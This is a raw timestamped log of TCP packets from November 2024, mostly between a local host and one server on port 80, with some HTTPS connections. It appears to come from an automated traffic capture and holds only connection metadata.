Nov 26, 2024 08:03:42.849994898 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.850639105 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.850723982 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.850740910 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.851541042 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.851629019 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.851680994 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.851813078 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.852421999 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.852499008 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.852876902 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.853331089 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.853394985 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.853436947 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.854321957 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.854330063 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.854367971 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.854512930 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.855145931 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.855240107 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.855247021 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.855359077 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.856153011 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.856232882 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.856264114 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.856306076 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.857033968 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.857069969 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.857098103 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.857287884 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.857934952 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.857976913 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.858036995 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.858778000 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.858788013 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.859066963 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.859682083 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.859764099 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.859780073 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.859965086 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.860558987 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.860654116 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.860698938 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.860814095 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.861464024 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.861470938 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.861624002 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.862384081 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.862435102 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.862482071 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.862628937 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:42.863235950 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:42.863558054 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.026799917 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.026809931 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.027101040 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.027116060 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.027219057 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.027249098 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.028019905 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.028126001 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.028323889 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.028645992 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.063730001 CET	49790	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:43.063761950 CET	443	49790	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:43.063891888 CET	49790	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:43.064219952 CET	49791	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:43.064241886 CET	49790	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:43.064254999 CET	443	49790	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:43.064254999 CET	443	49791	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:43.064579010 CET	49791	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:43.064711094 CET	49791	443	192.168.2.8	13.107.246.40
Nov 26, 2024 08:03:43.064723015 CET	443	49791	13.107.246.40	192.168.2.8
Nov 26, 2024 08:03:43.166205883 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.186266899 CET	443	49788	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:43.186342955 CET	443	49789	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:43.186742067 CET	49789	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:43.186743021 CET	49788	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:43.186757088 CET	443	49788	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:43.186764002 CET	443	49789	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:43.187061071 CET	443	49788	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:43.187098026 CET	443	49789	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:43.187333107 CET	49788	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:43.187387943 CET	443	49788	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:43.187568903 CET	49789	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:43.187640905 CET	443	49789	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:43.242199898 CET	49789	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:43.286118984 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.351394892 CET	49788	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:43.385610104 CET	49792	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:43.385680914 CET	443	49792	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:43.385854006 CET	49793	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:43.385864973 CET	49792	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:43.385946989 CET	443	49793	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:43.386171103 CET	49793	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:43.386173010 CET	49792	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:43.386198997 CET	443	49792	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:43.386440992 CET	49793	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:43.386476040 CET	443	49793	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:43.622302055 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.622389078 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.622394085 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.622476101 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.622883081 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.622953892 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.622997999 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.623109102 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.623698950 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.623770952 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.623811960 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.624011993 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.624576092 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.624628067 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.624640942 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.624697924 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.625430107 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.625489950 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.625530958 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.625582933 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.626405001 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.626411915 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.626465082 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.627290964 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.627298117 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.627351999 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.628181934 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.628189087 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.628243923 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.629028082 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.629101992 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.629138947 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.629188061 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.630024910 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.630075932 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.630099058 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.630163908 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.630837917 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.630902052 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.630944967 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.631263971 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.631763935 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.631834984 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.631869078 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.631948948 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.632692099 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.632699013 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.632750988 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.633585930 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.633713961 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.633785009 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.633785009 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.634474039 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.634522915 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.634526014 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.634579897 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.635482073 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.635562897 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.635585070 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.635613918 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.637083054 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.637105942 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.637140989 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.637171030 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.637244940 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.637300968 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.637356043 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.638124943 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.638206005 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.638314009 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.638396025 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.639003992 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.639084101 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.639146090 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.639216900 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.639914989 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.639996052 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.640007019 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.640053034 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.640851974 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.640945911 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.641005993 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.641704082 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.641793013 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.641880035 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.641932011 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.642654896 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.642674923 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.642735958 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.643575907 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.643610001 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.643641949 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.643722057 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.644596100 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.644614935 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.644676924 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.645348072 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.645391941 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.645401955 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.645453930 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.646190882 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.646270990 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.646303892 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.646370888 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.647165060 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.647264004 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.647264957 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.647329092 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.648024082 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.648103952 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.648156881 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.648245096 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.648905039 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.648957968 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.649015903 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.649080992 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.649818897 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.649884939 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.649940014 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.649981976 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.650703907 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.650769949 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.650846004 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.650913000 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.651633024 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.651700020 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.651777029 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.651838064 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.652491093 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.652550936 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.652633905 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.652693987 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.653455019 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.653474092 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.653527021 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.653546095 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.654382944 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.654407978 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.654457092 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.654479027 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.655297041 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.655333996 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.655384064 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.656130075 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.656191111 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.656256914 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.656315088 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.657037020 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.657089949 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.657232046 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.657283068 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.657957077 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.658029079 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.658103943 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.658163071 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.658938885 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.658973932 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.659004927 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.659033060 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.659883976 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.659907103 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.659955025 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.659991026 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.660747051 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.660789013 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.660840034 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.661611080 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.661673069 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.661731005 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.661798000 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.662497997 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.662586927 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.662625074 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.662693024 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.663352966 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.663419962 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.663461924 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.663515091 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.664349079 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.664369106 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.664392948 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.664411068 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.665154934 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.665222883 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.665260077 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.665348053 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.666048050 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.666094065 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.666208029 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.666269064 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.667150974 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.667170048 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.667217016 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.667864084 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.667964935 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.667979002 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.668054104 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.668740988 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.668879986 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.668929100 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.668947935 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.669661999 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.669739962 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.680885077 CET	443	49787	40.126.53.17	192.168.2.8
Nov 26, 2024 08:03:43.681443930 CET	49787	443	192.168.2.8	40.126.53.17
Nov 26, 2024 08:03:43.681484938 CET	443	49787	40.126.53.17	192.168.2.8
Nov 26, 2024 08:03:43.682180882 CET	49787	443	192.168.2.8	40.126.53.17
Nov 26, 2024 08:03:43.682188034 CET	443	49787	40.126.53.17	192.168.2.8
Nov 26, 2024 08:03:43.682246923 CET	49787	443	192.168.2.8	40.126.53.17
Nov 26, 2024 08:03:43.682255030 CET	443	49787	40.126.53.17	192.168.2.8
Nov 26, 2024 08:03:43.832843065 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.832936049 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.832988977 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.833026886 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.833304882 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.833324909 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.833363056 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.833395958 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.834367990 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.834388971 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.834424019 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.834441900 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.835150957 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.835170984 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.835293055 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.836044073 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.836100101 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.836101055 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.836163998 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.836936951 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.836956978 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.837012053 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.837822914 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.837867975 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.837954998 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.838018894 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.838774920 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.838970900 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.839055061 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:43.839607000 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:43.839648962 CET	80	49747	185.215.113.206	192.168.2.8
